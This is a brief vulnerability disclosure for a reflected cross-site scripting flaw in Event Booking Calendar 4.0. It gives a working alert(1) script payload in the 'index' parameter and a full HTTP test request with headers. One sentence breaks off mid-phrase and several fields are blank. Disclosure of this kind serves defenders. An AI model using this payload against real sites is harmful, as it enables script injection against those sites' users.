Event Booking Calendar 4.0 Cross Site Scripting

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Event Booking Calendar 4.0 Cross Site Scripting
## Title: Event Booking Calendar-4.0 XSS-Reflected
## Author: nu11secur1ty
## Date: 09/06/2023
## Vendor:
## Software:
## Reference:

## Description:
The value of the index request parameter is copied into the value of
an HTML tag attribute which is encapsulated in double quotation marks.
The payload ap5yf"><script>alert(1)</script>n9d5d was submitted in the
index parameter. This input was echoed unmodified in the application's
The attacker can make a specially crafted malicious URL and spread it
into the network, to infect every user of this system who clicks on it
and visit it.

STATUS: HIGH Vulnerability

[+]Testing Payload:
GET /1693985138_790/index.php?controller=pjFrontPublic&action=pjActionLoadEvents&session_id=&theme=theme7&locale=1&hide=0&index=4786ap5yf%22%3e%3cscript%3ealert(1)%3c%2fscript%3en9d5d&show_header=1&show_icons=1&show_categories=1&category_id=0&month=09&year=2023&view=calendar&period=&page=1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141
Connection: close
Cache-Control: max-age=0
Cookie: _ga=GA1.2.1968270768.1693986414;
_gid=GA1.2.227754763.1693986414; _gat=1;
X-Requested-With: XMLHttpRequest
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0


## Reproduce:

## Proof and Exploit:

## Time spent:

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